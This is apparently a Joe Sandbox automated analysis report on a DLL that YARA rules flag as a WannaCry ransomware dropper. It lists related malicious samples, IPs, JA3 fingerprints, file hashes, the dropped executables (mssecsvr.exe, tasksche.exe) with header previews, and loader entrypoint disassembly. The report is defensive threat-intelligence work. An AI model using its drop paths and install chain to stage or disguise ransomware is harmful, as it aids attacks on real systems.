Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:03:12	API Interceptor	1x Sleep call for process: loaddll32.exe modified
10:04:33	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
701602.parkingcrew.net	ViNIRfmQmE.dll	Get hash	malicious	Browse	76.223.26.96
	Ee3RWj3ID9.exe	Get hash	malicious	Browse	13.248.148.254
	YB7v7UFV3j.exe	Get hash	malicious	Browse	76.223.26.96
	B0U3oOhQJu.exe	Get hash	malicious	Browse	76.223.26.96
	1WImqfBvqH.dll	Get hash	malicious	Browse	76.223.26.96
	zTg6FfsIq1.exe	Get hash	malicious	Browse	76.223.26.96
	8ML9vWcUAh.dll	Get hash	malicious	Browse	76.223.26.96
	e9TfH3jxO1.exe	Get hash	malicious	Browse	76.223.26.96
	6jtNVDiwz9.exe	Get hash	malicious	Browse	76.223.26.96
	tkxl2AyS35.exe	Get hash	malicious	Browse	76.223.26.96
	vcLgaDtq2Y.exe	Get hash	malicious	Browse	13.248.148.254
	wS1IlhGZ6O.exe	Get hash	malicious	Browse	13.248.148.254
	DWs0ZsrcWc.exe	Get hash	malicious	Browse	13.248.148.254
	iH34IwDgCX.exe	Get hash	malicious	Browse	13.248.148.254
	UKfz9ypQ3N.exe	Get hash	malicious	Browse	76.223.26.96
	7jLUw8OOEn.exe	Get hash	malicious	Browse	13.248.148.254
	upCVNgNwCr.dll	Get hash	malicious	Browse	13.248.148.254
	tNTBg40iVN.exe	Get hash	malicious	Browse	13.248.148.254
	rRhN2d6O0L.exe	Get hash	malicious	Browse	76.223.26.96
	gHzphO4pht.exe	Get hash	malicious	Browse	76.223.26.96

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ROSTELECOM-ASRU	4t5dine8c7.elf	Get hash	malicious	Browse	176.50.211.79
	TN7Hjq6cRq.elf	Get hash	malicious	Browse	77.40.100.172
	mPQQqzukqh.elf	Get hash	malicious	Browse	46.159.33.98
	VAjvBiGvo8.elf	Get hash	malicious	Browse	178.69.143.136
	jr7Vd9THho.elf	Get hash	malicious	Browse	213.24.189.59
	tjZLJgItxf.elf	Get hash	malicious	Browse	178.35.80.191
	7eNefWw2WZ.elf	Get hash	malicious	Browse	212.164.223.199
	kPWqcjkEQ8.elf	Get hash	malicious	Browse	85.175.162.156
	svrHelper	Get hash	malicious	Browse	95.167.9.150
	cJImjP5UD3.exe	Get hash	malicious	Browse	188.19.186.149
	pd4VXlGQPs.elf	Get hash	malicious	Browse	46.159.82.0
	3L7By8x8KC.elf	Get hash	malicious	Browse	94.241.38.22
	nrr0mG1Ntl.elf	Get hash	malicious	Browse	84.51.219.124
	pLqTyUTJIE.elf	Get hash	malicious	Browse	31.204.103.158
	l3Qj8QhTYZ.exe	Get hash	malicious	Browse	94.233.62.176
	icheFGDlZb.elf	Get hash	malicious	Browse	95.71.211.28
	gZAeuxYybA.elf	Get hash	malicious	Browse	176.208.107.13
	0ZWx91rasR.elf	Get hash	malicious	Browse	217.107.245.48
	NxPjBmIj1w.elf	Get hash	malicious	Browse	176.208.34.145
	c7PZZNtiFl.elf	Get hash	malicious	Browse	90.189.222.13
ROSTELECOM-ASRU	4t5dine8c7.elf	Get hash	malicious	Browse	176.50.211.79
	TN7Hjq6cRq.elf	Get hash	malicious	Browse	77.40.100.172
	mPQQqzukqh.elf	Get hash	malicious	Browse	46.159.33.98
	VAjvBiGvo8.elf	Get hash	malicious	Browse	178.69.143.136
	jr7Vd9THho.elf	Get hash	malicious	Browse	213.24.189.59
	tjZLJgItxf.elf	Get hash	malicious	Browse	178.35.80.191
	7eNefWw2WZ.elf	Get hash	malicious	Browse	212.164.223.199
	kPWqcjkEQ8.elf	Get hash	malicious	Browse	85.175.162.156
	svrHelper	Get hash	malicious	Browse	95.167.9.150
	cJImjP5UD3.exe	Get hash	malicious	Browse	188.19.186.149
	pd4VXlGQPs.elf	Get hash	malicious	Browse	46.159.82.0
	3L7By8x8KC.elf	Get hash	malicious	Browse	94.241.38.22
	nrr0mG1Ntl.elf	Get hash	malicious	Browse	84.51.219.124
	pLqTyUTJIE.elf	Get hash	malicious	Browse	31.204.103.158
	l3Qj8QhTYZ.exe	Get hash	malicious	Browse	94.233.62.176
	icheFGDlZb.elf	Get hash	malicious	Browse	95.71.211.28
	gZAeuxYybA.elf	Get hash	malicious	Browse	176.208.107.13
	0ZWx91rasR.elf	Get hash	malicious	Browse	217.107.245.48
	NxPjBmIj1w.elf	Get hash	malicious	Browse	176.208.34.145
	c7PZZNtiFl.elf	Get hash	malicious	Browse	90.189.222.13

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	file.exe	Get hash	malicious	Browse	23.211.4.90
	file.exe	Get hash	malicious	Browse	23.211.4.90
	file.exe	Get hash	malicious	Browse	23.211.4.90
	file.exe	Get hash	malicious	Browse	23.211.4.90
	B2fZjTRiGb.dll	Get hash	malicious	Browse	23.211.4.90
	B2fZjTRiGb.dll	Get hash	malicious	Browse	23.211.4.90
	79mACEvEl7.exe	Get hash	malicious	Browse	23.211.4.90
	6OQMGK0aHZ.dll	Get hash	malicious	Browse	23.211.4.90
	39p20D8IvI.exe	Get hash	malicious	Browse	23.211.4.90
	48EeCRtIvV.exe	Get hash	malicious	Browse	23.211.4.90
	v4VVmZyfzp.exe	Get hash	malicious	Browse	23.211.4.90
	4UHRfjEWX7.exe	Get hash	malicious	Browse	23.211.4.90
	j4KHFcA1QU.dll	Get hash	malicious	Browse	23.211.4.90
	5Pzvhfd12N.exe	Get hash	malicious	Browse	23.211.4.90
	mAJSpM3Psq.exe	Get hash	malicious	Browse	23.211.4.90
	SecuriteInfo.com.W32.Trojan.SW.gen.Eldorado.12443.21800.exe	Get hash	malicious	Browse	23.211.4.90
	ViNIRfmQmE.dll	Get hash	malicious	Browse	23.211.4.90
	qjiXBMIlZj.dll	Get hash	malicious	Browse	23.211.4.90
	QdyYAjhCjU.dll	Get hash	malicious	Browse	23.211.4.90
	QdyYAjhCjU.dll	Get hash	malicious	Browse	23.211.4.90
3b5074b1b5d032e5620f69f9f700ff0e	Confirm Balance Payment_cln.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	file.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	PI_KPCPU_231(MECH)NBI-pdf.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	file.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	epTZLp5PyVs2lsz.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	SecuriteInfo.com.Variant.MSILHeracles.52255.25559.25166.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	XXXX.wav.HTM	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	DHL 486687933XTL.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	3zEy98Fupc.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	v5IO7K2kS5.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	KlFJKRgNa6.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	FDZW6tkTPQ.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	J6QUoD7gif.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	2tK9DovsB2.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	UaFlmnCC8c.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	ix2mYt2NSH.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	7Ga5u4um3M.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	6Af0SonEC3ndbVo.exe	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	ZNInv_39422216.vbs	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32
	https://gradiaf-france.org/ri/index.php?RRERO=4	Get hash	malicious	Browse	20.90.153.243 20.90.152.133 20.90.156.32

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Windows\eee.exe	znV6O953KT.dll	Get hash	malicious	Browse
	goN6vVlV2F.dll	Get hash	malicious	Browse
	QbNF1cvpa0.dll	Get hash	malicious	Browse
	vGJZ7R5D9P.dll	Get hash	malicious	Browse
	vEbriCJic0.dll	Get hash	malicious	Browse
	48O5lgRp91.dll	Get hash	malicious	Browse
	PDAZE3eQB1.dll	Get hash	malicious	Browse
	rBsGH746YC.dll	Get hash	malicious	Browse
	dKkvbrzdUL.dll	Get hash	malicious	Browse
	UjhHNEfOFP.dll	Get hash	malicious	Browse
	d8oGI2K5Bi.dll	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (2494), with no line terminators
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	5.22805579176163
Encrypted:	false
SSDEEP:	24:2dS48pX4y/DvKWDkQpye7X8ICDKbs37Ti8TBM8PT52Yb3PPHpXUEqXpbfKFQRFNU:cAn/TLt0J/pXA1JVp/BJHSkC9+TMkrs
MD5:	D099A6CD6812FE55FE488D158835F6AD
SHA1:	01071E95D843FD533E372C07AC059120CA451EC8
SHA-256:	C98EB02AB64C08C5A4984AA9E0B550A79CBD3F7187B1FFB3AC932A2C80464FF9
SHA-512:	35299CD068B67C8877F5011ED94A218540460CB70BA3CDFE25A6E17D07C5F99B55FF27027BE45272930555BC16C35BAD58017E4E7DE13C10DD782BCCB8419A02
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?><updateStore><sessionVariables><permanent><AUOptions dataType="3">1</AUOptions><AllowMUUpdateService dataType="3">0</AllowMUUpdateService><AreUpdatesPausedByPolicy dataType="11">False</AreUpdatesPausedByPolicy><AttentionRequiredReason dataType="19">0</AttentionRequiredReason><CurrentState dataType="19">1</CurrentState><FirstScanAttemptTime dataType="21">132399998126404364</FirstScanAttemptTime><FlightEnabled dataType="3">0</FlightEnabled><LastError dataType="19">0</LastError><LastErrorState dataType="19">0</LastErrorState><LastErrorStateType dataType="11">False</LastErrorStateType><LastMeteredScanTime dataType="21">132399998126560620</LastMeteredScanTime><LastScanAttemptTime dataType="21">132399998126404364</LastScanAttemptTime><LastScanDeferredReason dataType="19">1</LastScanDeferredReason><LastScanDeferredTime dataType="21">133051636774803094</LastScanDeferredTime><LastScanFailureError dataType="3">-2147023838</LastScanFailureError><LastScanFailu

C:\ProgramData\USOPrivate\UpdateStore\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (2494), with no line terminators
Category:	modified
Size (bytes):	2494
Entropy (8bit):	5.22805579176163
Encrypted:	false
SSDEEP:	24:2dS48pX4y/DvKWDkQpye7X8ICDKbs37Ti8TBM8PT52Yb3PPHpXUEqXpbfKFQRFNU:cAn/TLt0J/pXA1JVp/BJHSkC9+TMkrs
MD5:	D099A6CD6812FE55FE488D158835F6AD
SHA1:	01071E95D843FD533E372C07AC059120CA451EC8
SHA-256:	C98EB02AB64C08C5A4984AA9E0B550A79CBD3F7187B1FFB3AC932A2C80464FF9
SHA-512:	35299CD068B67C8877F5011ED94A218540460CB70BA3CDFE25A6E17D07C5F99B55FF27027BE45272930555BC16C35BAD58017E4E7DE13C10DD782BCCB8419A02
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?><updateStore><sessionVariables><permanent><AUOptions dataType="3">1</AUOptions><AllowMUUpdateService dataType="3">0</AllowMUUpdateService><AreUpdatesPausedByPolicy dataType="11">False</AreUpdatesPausedByPolicy><AttentionRequiredReason dataType="19">0</AttentionRequiredReason><CurrentState dataType="19">1</CurrentState><FirstScanAttemptTime dataType="21">132399998126404364</FirstScanAttemptTime><FlightEnabled dataType="3">0</FlightEnabled><LastError dataType="19">0</LastError><LastErrorState dataType="19">0</LastErrorState><LastErrorStateType dataType="11">False</LastErrorStateType><LastMeteredScanTime dataType="21">132399998126560620</LastMeteredScanTime><LastScanAttemptTime dataType="21">132399998126404364</LastScanAttemptTime><LastScanDeferredReason dataType="19">1</LastScanDeferredReason><LastScanDeferredTime dataType="21">133051636774803094</LastScanDeferredTime><LastScanFailureError dataType="3">-2147023838</LastScanFailureError><LastScanFailu

C:\WINDOWS\qeriuwjhrf (copy)

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.9011574198899295
Encrypted:	false
SSDEEP:	49152:XEKUacHVQej/1INRx+TSqTdX1HkQo6SAARdhnvm:XyfHhz1aRxcSUDk36SAEdhvm
MD5:	84806E27AD3982217395D30B692077FC
SHA1:	16473700873E19A411E020709855B2831B3A9C2C
SHA-256:	64D5356E5A165F34EC2248AD1F5F9CCB82A82708D3AED1ECBFE3D94955C59C7F
SHA-512:	4F266EC8651BC28021C9DE8D4C6F978FC6B18EC13C0D11AB43EE4B5BB6D7E6A9170D6984F0FDEBFBC29D2AC91CAE227A1ECD65E1552351773074901D8A7309CD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Logs\waasmedic\waasmedic.20221222_180332_622.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	2.7447161451830904
Encrypted:	false
SSDEEP:	48:Ts1Lr528d1Vb7kUj1b7kEwb7kldb7kYb7kbIl9lyb7k0tpllb7kib7kRb7kwab7L:+28R0Uj10n0H0Y0U9s0Cll0i0R0R09O
MD5:	39BA4BD7AD82A83D24CA4EA71B0D773E
SHA1:	613FA31F20A29FFC4363884BC3E2E4CC2E6242AE
SHA-256:	73228496964FA37F4C3AF947D9ACCC97389A4C867D4B659F94AEA5F34C779445
SHA-512:	9273A79CBE6BFE475D3BB426F2D49A9F52AC3A2E7D138F974044DF6DA92E643377331CABEB739EF68ED5418A4B39DCF1AF34C6B6B12A7C7FCDD1AB20E7EA393D
Malicious:	false
Preview:	....................................................!....................................7.......................B.......x../...Zb....... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.................................................................... ......M1./...........E.C.C.B.1.7.5.F.-.1.E.B.2.-.4.3.D.A.-.B.F.B.5.-.A.8.D.5.8.A.4.0.A.4.D.7...C.:.\.W.i.n.d.o.w.s.\.l.o.g.s.\.w.a.a.s.m.e.d.i.c.\.w.a.a.s.m.e.d.i.c...2.0.2.2.1.2.2.2._.1.8.0.3.3.2._.6.2.2...e.t.l.............P.P..........7..................................................................9.B..7......17134.1.amd64fre.rs4_release.180410-1804............5.@..7......OYo."(.s..O........WaaSMedicSvc.pdb............................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.16980746860073
Encrypted:	false
SSDEEP:	192:cY+38+DJ5+inJg3+igJU+LY+XY+ntn+E5L+Mc+X:j+s+j+j3+12+0+I+9+C+X+X
MD5:	B85805242F6171B7B94C12F33044023A
SHA1:	3F9BD8B2CC4CFFE99AFCAC5074D72F6D1DEB33DB
SHA-256:	9596FDDCEF9BED2CF164909452833F6AB8ABDAC5DB31459A87E64D8EABE4DA8D
SHA-512:	4FE0600A0ED6EB3275BEEB96DCA5485B1CAC5FD43AE2A3D44AD4572BA5BADFEFD6051731969936B90D737ABAC8EC163CDBF98DFBEF2C9315F4048757428B9BD9
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\eee.exe

Download File

Process:	C:\Windows\tasksche.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1981503
Entropy (8bit):	1.1514036614623402
Encrypted:	false
SSDEEP:	3072:Pm7CQNtZU+mWdyVsJM5MelfvtNdQU/2DRIYUoNv+byel0QWq:PsCwu+mWhJifvtNP/7YXYlW
MD5:	03880BEAD20960FEF3D46ADE3C83E1BD
SHA1:	62EECEF13F3125CF8E4212D4AD85AB45E091830D
SHA-256:	92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8
SHA-512:	8534E48D702AFB70A4537096AEC7EBB1E4C1A4CF14A44F7C1F7D8DF972742A5E0A49738124891843CF10E390379ECEEFC7882A0BE6AEA206A6583BC4B1194F9D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 12%
Joe Sandbox View:	Filename: znV6O953KT.dll, Detection: malicious, Browse Filename: goN6vVlV2F.dll, Detection: malicious, Browse Filename: QbNF1cvpa0.dll, Detection: malicious, Browse Filename: vGJZ7R5D9P.dll, Detection: malicious, Browse Filename: vEbriCJic0.dll, Detection: malicious, Browse Filename: 48O5lgRp91.dll, Detection: malicious, Browse Filename: PDAZE3eQB1.dll, Detection: malicious, Browse Filename: rBsGH746YC.dll, Detection: malicious, Browse Filename: dKkvbrzdUL.dll, Detection: malicious, Browse Filename: UjhHNEfOFP.dll, Detection: malicious, Browse Filename: d8oGI2K5Bi.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........1..`_Z.`_Z.`_Z...Z.`_Z...Z1`_Z...Z.`_Z.>\[.`_Z.>[[.`_Z.>Z[.`_Z...Z.`_Z...Z.`_Z.`^Z@`_Z->Z[.`_Z->_[.`_Z(>.Z.`_Z->][.`_ZRich.`_Z........PE..L......Y..........................................@.......................... ............@.........................@...4...t...(........:......................X...Pn..T...............................@...................... ....................text............................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc....F.......H..................@..@.reloc..X........ ..................@..B........................................................................................................................................................................................................................................................

C:\Windows\mssecsvr.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2281472
Entropy (8bit):	7.819417294556978
Encrypted:	false
SSDEEP:	49152:QnpEKUacHVQej/1INRx+TSqTdX1HkQo6SAARdhnvn:QpyfHhz1aRxcSUDk36SAEdhvn
MD5:	727563948E9A258D34E604AC7819FC00
SHA1:	02F6CF44422A78807950D05ED605C8A1C5BA4C9C
SHA-256:	909FB18B88142672C9275B13D25995723443FFC839B0AE6A1714817E9F1DEC6F
SHA-512:	CEFBDA1B62A0B2E69449BCCABA891C2B2DCAB1BAA59C4538B657E7050F27862E088A05ACE12B00E3489F45E5AACD47E729AA46D8E9E44CAC6AC1DA2662116464
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....L......................"...................@...........................P......................................................1..z...........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.........1...... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tasksche.exe

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.9011574198899295
Encrypted:	false
SSDEEP:	49152:XEKUacHVQej/1INRx+TSqTdX1HkQo6SAARdhnvm:XyfHhz1aRxcSUDk36SAEdhvm
MD5:	84806E27AD3982217395D30B692077FC
SHA1:	16473700873E19A411E020709855B2831B3A9C2C
SHA-256:	64D5356E5A165F34EC2248AD1F5F9CCB82A82708D3AED1ECBFE3D94955C59C7F
SHA-512:	4F266EC8651BC28021C9DE8D4C6F978FC6B18EC13C0D11AB43EE4B5BB6D7E6A9170D6984F0FDEBFBC29D2AC91CAE227A1ECD65E1552351773074901D8A7309CD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.222350221459732
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 98.32% Windows Screen Saver (13104/52) 1.29% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IU28r0EZFA.dll
File size:	5267459
MD5:	bdbe7281ce07de64716c546fcc643136
SHA1:	190cfdbe55603d7cb3dab330d036f5b233b8b900
SHA256:	253aef310a11a224df87179864270bb8c9faf4784b3d3a47a2c9bf34ad035a96
SHA512:	b9e1ab135bd1747ae8e394aa7b9f65ed75bb4c8070cbb5ccd323b352dff3a144ddc50cdb54d88dd2c32d4d76045a81832d1cc798393593743b1a11e84de209a2
SSDEEP:	49152:RnpEKUacHVQej/1INRx+TSqTdX1HkQo6SAARdhnv:1pyfHhz1aRxcSUDk36SAEdhv
TLSH:	293623153CA8C074C10F147064BA8E72A57379B5D6B56B4BAF8C4A393FE3BD1A634B42
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100011e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x59145751 [Thu May 11 12:21:37 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5708ae5fed0403e8117c645fb23e5b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007F5E64A73D1Bh
cmp dword ptr [10003140h], 00000000h
jmp 00007F5E64A73D38h
cmp esi, 01h
je 00007F5E64A73D17h
cmp esi, 02h
jne 00007F5E64A73D34h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F5E64A73D1Bh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007F5E64A73D1Eh
push edi
push esi
push ebx
call 00007F5E64A73C2Ah
test eax, eax
jne 00007F5E64A73D16h
xor eax, eax
jmp 00007F5E64A73D60h
push edi
push esi
push ebx
call 00007F5E64A73ADCh
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007F5E64A73D1Eh
test eax, eax
jne 00007F5E64A73D49h
push edi
push eax
push ebx
call 00007F5E64A73C06h
test esi, esi
je 00007F5E64A73D17h
cmp esi, 03h
jne 00007F5E64A73D38h
push edi
push esi
push ebx
call 00007F5E64A73BF5h
test eax, eax
jne 00007F5E64A73D15h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007F5E64A73D23h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F5E64A73D1Ah
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002028h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2190	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x203c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x500060	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x505000	0x5c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28c	0x1000	False	0.13037109375	data	1.4429971244731552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
